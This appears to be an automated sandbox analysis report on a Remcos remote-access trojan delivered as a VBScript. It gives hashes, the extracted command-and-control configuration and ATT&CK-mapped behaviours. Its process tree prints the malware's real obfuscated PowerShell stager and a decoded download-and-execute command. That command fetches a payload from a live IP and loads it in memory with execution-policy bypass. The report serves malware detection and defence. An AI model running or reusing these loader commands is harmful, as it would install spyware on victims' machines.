remcos | 109db0dac55368b1558ade61116654e1b32b971df09afd17b98c24b8153feb7c

General

Target

sostener.vbs
Size

2.2MB
MD5

60839811d24e7372196d54c2b210c653
SHA1

f18bc8180225752cc50073a277423eab5ba0969e
SHA256

109db0dac55368b1558ade61116654e1b32b971df09afd17b98c24b8153feb7c
SHA512

747a057713c01f34bdaff2b872391e4198466d39ecb6ce9cec961091551a329a1a7347a0a6cd463e3a3a7362e85a4cc8079357937f0f7057d740300254b9d233
SSDEEP

192:rzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzMzzzzzzzzzzzzzzzzzzzzzzzzw:tQqy8c4i6gaAc

Score

10^/10

remcos newd discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt

exe.dropper

http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt

Extracted

Family

remcos

Botnet

NEWD

C2

alemania2020.duckdns.org:8888

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-QIOMAY
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	1780	powershell.exe
29	4452	powershell.exe
31	4452	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
47	1172	Process not Found

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1318997816-2171176372-1451785247-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4452	powershell.exe
2564	powershell.exe
1780	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4452 set thread context of 1012	4452	powershell.exe	105

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	MSBuild.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2212	MicrosoftEdgeUpdate.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1318997816-2171176372-1451785247-1000_Classes\Local Settings	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2564	powershell.exe
2564	powershell.exe
1780	powershell.exe
1780	powershell.exe
4452	powershell.exe
4452	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeDebugPrivilege	4452	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1012	MSBuild.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 2564	4624	WScript.exe	89
PID 4624 wrote to memory of 2564	4624	WScript.exe	89
PID 2564 wrote to memory of 1780	2564	powershell.exe	91
PID 2564 wrote to memory of 1780	2564	powershell.exe	91
PID 1780 wrote to memory of 4452	1780	powershell.exe	101
PID 1780 wrote to memory of 4452	1780	powershell.exe	101
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 4452 wrote to memory of 1012	4452	powershell.exe	105
PID 1012 wrote to memory of 3548	1012	MSBuild.exe	108
PID 1012 wrote to memory of 3548	1012	MSBuild.exe	108
PID 1012 wrote to memory of 3548	1012	MSBuild.exe	108

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹Ho☹RgBL☹GE☹QQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹Og☹v☹C8☹OQ☹x☹C4☹Mg☹w☹DI☹Lg☹y☹DM☹Mw☹u☹DE☹Ng☹5☹C8☹V☹Bh☹Gs☹LwBS☹GU☹Zw☹v☹E0☹YQBy☹Ho☹LwBE☹FI☹Rw☹v☹FI☹V☹BD☹C8☹QQBE☹C8☹Z☹Bs☹Gw☹LgB0☹Hg☹d☹☹n☹C☹☹Ow☹k☹Ek☹ZQBw☹Ec☹UQ☹g☹D0☹I☹☹o☹C☹☹WwBT☹Hk☹cwB0☹GU☹bQ☹u☹Ek☹Tw☹u☹F☹☹YQB0☹Gg☹XQ☹6☹Do☹RwBl☹HQ☹V☹Bl☹G0☹c☹BQ☹GE☹d☹Bo☹Cg☹KQ☹g☹Cs☹I☹☹n☹GQ☹b☹Bs☹D☹☹MQ☹u☹HQ☹e☹B0☹Cc☹KQ☹7☹CQ☹dwBl☹GI☹QwBs☹Gk☹ZQBu☹HQ☹I☹☹9☹C☹☹TgBl☹Hc☹LQBP☹GI☹agBl☹GM☹d☹☹g☹FM☹eQBz☹HQ☹ZQBt☹C4☹TgBl☹HQ☹LgBX☹GU☹YgBD☹Gw☹aQBl☹G4☹d☹☹g☹Ds☹J☹BS☹FY☹VQBY☹HY☹I☹☹9☹C☹☹J☹B3☹GU☹YgBD☹Gw☹aQBl☹G4☹d☹☹u☹EQ☹bwB3☹G4☹b☹Bv☹GE☹Z☹BT☹HQ☹cgBp☹G4☹Zw☹o☹C☹☹J☹B6☹EY☹SwBh☹EE☹I☹☹p☹C☹☹Ow☹k☹FI☹VgBV☹Fg☹dg☹g☹Hw☹I☹BP☹HU☹d☹☹t☹EY☹aQBs☹GU☹I☹☹t☹EY☹aQBs☹GU☹U☹Bh☹HQ☹a☹☹g☹CQ☹SQBl☹H☹☹RwBR☹C☹☹LQBF☹G4☹YwBv☹GQ☹aQBu☹Gc☹I☹☹n☹FU☹V☹BG☹Dg☹Jw☹g☹C0☹ZgBv☹HI☹YwBl☹C☹☹Ow☹k☹FM☹V☹Bm☹Ec☹b☹☹g☹D0☹I☹☹o☹C☹☹WwBT☹Hk☹cwB0☹GU☹bQ☹u☹Ek☹Tw☹u☹F☹☹YQB0☹Gg☹XQ☹6☹Do☹RwBl☹HQ☹V☹Bl☹G0☹c☹BQ☹GE☹d☹Bo☹Cg☹KQ☹g☹Cs☹I☹☹n☹GQ☹b☹Bs☹D☹☹MQ☹u☹HQ☹e☹B0☹Cc☹KQ☹g☹Ds☹J☹BN☹E8☹R☹BS☹Gc☹I☹☹9☹C☹☹I☹☹n☹CQ☹cgB5☹GE☹ZQBH☹C☹☹PQ☹g☹Cg☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹Jw☹n☹Cc☹I☹☹r☹C☹☹J☹BT☹FQ☹ZgBH☹Gw☹I☹☹r☹C☹☹Jw☹n☹Cc☹I☹☹t☹EU☹bgBj☹G8☹Z☹Bp☹G4☹Zw☹g☹FU☹V☹BG☹Dg☹KQ☹7☹Cc☹I☹☹7☹CQ☹TQBP☹EQ☹UgBn☹C☹☹Kw☹9☹C☹☹JwBb☹EI☹eQB0☹GU☹WwBd☹F0☹I☹☹k☹EY☹eQBm☹GQ☹eg☹g☹D0☹I☹Bb☹HM☹eQBz☹HQ☹ZQBt☹C4☹QwBv☹G4☹dgBl☹HI☹d☹Bd☹Do☹OgBG☹HI☹bwBt☹EI☹YQBz☹GU☹Ng☹0☹FM☹d☹By☹Gk☹bgBn☹Cg☹I☹☹k☹HI☹eQBh☹GU☹Rw☹u☹HI☹ZQBw☹Gw☹YQBj☹GU☹K☹☹n☹Cc☹J☹☹k☹Cc☹Jw☹s☹Cc☹JwBB☹Cc☹Jw☹p☹C☹☹KQ☹g☹Ds☹Jw☹g☹Ds☹J☹BN☹E8☹R☹BS☹Gc☹I☹☹r☹D0☹I☹☹n☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBB☹H☹☹c☹BE☹G8☹bQBh☹Gk☹bgBd☹Do☹Jw☹g☹Cs☹I☹☹n☹Do☹QwB1☹HI☹cgBl☹G4☹d☹BE☹G8☹bQBh☹Gk☹bg☹u☹Ew☹bwBh☹GQ☹K☹☹g☹CQ☹RgB5☹GY☹Z☹B6☹C☹☹KQ☹u☹Cc☹I☹☹7☹CQ☹TQBP☹EQ☹UgBn☹C☹☹Kw☹9☹C☹☹JwBH☹GU☹d☹BU☹Hk☹c☹Bl☹Cg☹I☹☹n☹Cc☹V☹Bl☹Gg☹dQBs☹GM☹a☹Bl☹HM☹W☹B4☹Fg☹e☹B4☹C4☹QwBs☹GE☹cwBz☹DE☹Jw☹n☹C☹☹KQ☹u☹Ec☹ZQB0☹E0☹Jw☹g☹Ds☹J☹BN☹E8☹R☹BS☹Gc☹I☹☹r☹D0☹I☹☹n☹GU☹d☹Bo☹G8☹Z☹☹o☹C☹☹Jw☹n☹E0☹cwBx☹EI☹SQBi☹Fk☹Jw☹n☹C☹☹KQ☹u☹Ek☹bgB2☹G8☹awBl☹Cg☹I☹☹k☹G4☹dQBs☹Gw☹I☹☹s☹C☹☹WwBv☹GI☹agBl☹GM☹d☹Bb☹F0☹XQ☹g☹Cg☹I☹☹n☹Cc☹TQBB☹EE☹dgBB☹Eg☹WQBB☹FE☹UQBC☹Eo☹QQBF☹DQ☹QQBi☹Gc☹QgBW☹EE☹RgBN☹EE☹VQBn☹EE☹dgBB☹Ec☹UQBB☹Ew☹dwBC☹Gw☹QQBH☹FU☹QQBM☹Gc☹QgBs☹EE☹S☹BR☹EE☹YwB3☹EI☹a☹BB☹Eg☹QQBB☹Ew☹dwBB☹HY☹QQBE☹G8☹QQBj☹Hc☹QgB3☹EE☹S☹BR☹EE☹Z☹BB☹EI☹bwBB☹EE☹PQ☹9☹Cc☹Jw☹g☹Cw☹I☹☹n☹Cc☹JQBK☹Gs☹UQBh☹HM☹R☹Bm☹Gc☹cgBU☹Gc☹JQ☹n☹Cc☹I☹☹s☹C☹☹Jw☹n☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹Xw☹t☹C0☹LQ☹t☹C0☹LQ☹t☹Cc☹Jw☹s☹C☹☹Jw☹n☹D☹☹Jw☹n☹Cw☹I☹☹n☹Cc☹MQ☹n☹Cc☹L☹☹g☹Cc☹JwBS☹G8☹Z☹Bh☹Cc☹Jw☹g☹C☹☹KQ☹g☹Ck☹I☹☹7☹Cc☹I☹☹7☹CQ☹VgBC☹Fc☹VwB6☹C☹☹PQ☹g☹Cg☹I☹Bb☹FM☹eQBz☹HQ☹ZQBt☹C4☹SQBP☹C4☹U☹Bh☹HQ☹a☹Bd☹Do☹OgBH☹GU☹d☹BU☹GU☹bQBw☹F☹☹YQB0☹Gg☹K☹☹p☹C☹☹Kw☹g☹Cc☹Z☹Bs☹Gw☹M☹☹z☹C4☹c☹Bz☹DE☹Jw☹g☹Ck☹I☹☹7☹CQ☹TQBP☹EQ☹UgBn☹C☹☹f☹☹g☹E8☹dQB0☹C0☹RgBp☹Gw☹ZQ☹g☹C0☹RgBp☹Gw☹ZQBQ☹GE☹d☹Bo☹C☹☹J☹BW☹EI☹VwBX☹Ho☹I☹☹g☹C0☹ZgBv☹HI☹YwBl☹C☹☹OwBw☹G8☹dwBl☹HI☹cwBo☹GU☹b☹Bs☹C☹☹LQBF☹Hg☹ZQBj☹HU☹d☹Bp☹G8☹bgBQ☹G8☹b☹Bp☹GM☹eQ☹g☹EI☹eQBw☹GE☹cwBz☹C☹☹LQBG☹Gk☹b☹Bl☹C☹☹J☹BW☹EI☹VwBX☹Ho☹I☹☹7☹☹==';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll01.txt') ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''TehulchesXxXxx.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''MAAvAHYAQQBJAE4AbgBVAFMAUgAvAGQALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoAA=='' , ''C:\Users\Admin\AppData\Local\Temp\sostener.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4452
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1012
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\yedmc.vbs"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3548

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7RjU4MzVDODAtNUUxMS00OEU3LTlBNDEtNjcwNkNCQUMxREVCfSIgdXNlcmlkPSJ7NkE2RkNBOTEtNDM2NC00MzAwLUJEQUMtMDBGQjJCQUMxRDc2fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7QjRGOTYwMDYtQkVBOC00Q0ZCLUI2MEQtM0VBREREQjREMTQ3fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI1IiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODMzNzEiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1NDE5Mjc1MzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0OTU0NzYwNDU3Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:2212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
11d0e8660e0213452105c87a565a6014

SHA1
bb3c76ed77cac7280173867cf57e39b7276c1133

SHA256
c0e548dcd9535f88c090434d7e7dce4bea3ad47d6e447aacb0456b3ed63a172e

SHA512
0573fef642a1457596f6dbd4c16630beecf77f7ed81b860d254c73c9ab852982c6e68b2014d7cbd151933f56f29f93a504ae071e72dce30025ec9a321971bfac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
6bf07852cb3bab59e6cc2dcab43ab011

SHA1
310635401d2c6a1bd7f77df365eb6371012aee2c

SHA256
5d968265d8f24ff9f80784bc6f3b5af2437781bce2b3d850db4a2bb49d0b5ad7

SHA512
8dc9aec471dbd68818ed6fec05efc6570dbddbed22946765d45d4bd5482814e306674df3f3ca0845828fcc0d604d685fcec0f3f7ad9e982b30aaaa39d26134a9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uo2gyytz.wrz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll01.txt

Filesize
113KB

MD5
c1925884c1b9f7ee061a79a2f737814f

SHA1
7fa1f44803b718c7cdfea2bf8f68adf5aa4f5d4a

SHA256
38f4b05fba4a26639a39306b7d7404a9f45ec4699f72678251fc314e3417b21a

SHA512
3fddee4d8fbd4c3454e46bafa1d8eddc8acdd33bdccf55b6afbb27b41eac0c2fd5c0f4c370cd7ab443406df2326381182c73053c55540afd7fee211580b8a921

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll03.ps1

Filesize
1KB

MD5
b68e5785fcca7cd9a12e8f8be89dc86e

SHA1
50ab1dfb5014011cad7928f37dbbd696f0ac5fa8

SHA256
43b784d184a438b61749119743daadc36a79bfe321c54f848dbb0743ba483bed

SHA512
8d81ea42ef7ac9b768227480aedd51057b933c9fc6149b405e2871682833760d20c162737039541b3e6f6691244e5d1f4c2fa66467821658b5b44c99336d94eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\yedmc.vbs

Filesize
374B

MD5
92323d5eafdd057f2602a2a0b5f5230e

SHA1
9498775850b22af3303ce67d042c7cf3925b396b

SHA256
52512978ad3bd19b5bbc6a332b2cc7635947c9f29979f746f406161ffb3ac34a

SHA512
268d4fe79242535278a9ca3396d1e39f9be88285a4ea01304bd39415728e07e5d9b8392a778732ab3b65ab050aa6aa6aadf6f4d1443b39605763fc380637bb5c

Download Submit
memory/1012-55-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-68-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-84-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-40-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-43-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-47-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-79-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-77-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-76-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-69-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-62-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-44-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-61-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1012-60-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2564-12-0x00007FFA317B0000-0x00007FFA32271000-memory.dmp

Filesize
10.8MB

Download
memory/2564-53-0x00007FFA317B0000-0x00007FFA32271000-memory.dmp

Filesize
10.8MB

Download
memory/2564-11-0x00007FFA317B0000-0x00007FFA32271000-memory.dmp

Filesize
10.8MB

Download
memory/2564-0-0x00007FFA317B3000-0x00007FFA317B5000-memory.dmp

Filesize
8KB

Download
memory/2564-1-0x000001D9B0570000-0x000001D9B0592000-memory.dmp

Filesize
136KB

Download
memory/2564-22-0x00007FFA317B3000-0x00007FFA317B5000-memory.dmp

Filesize
8KB

Download
memory/2564-23-0x00007FFA317B0000-0x00007FFA32271000-memory.dmp

Filesize
10.8MB

Download
memory/4452-37-0x000001FCE4160000-0x000001FCE4178000-memory.dmp

Filesize
96KB

Download
memory/4452-39-0x000001FCCB070000-0x000001FCCB086000-memory.dmp

Filesize
88KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads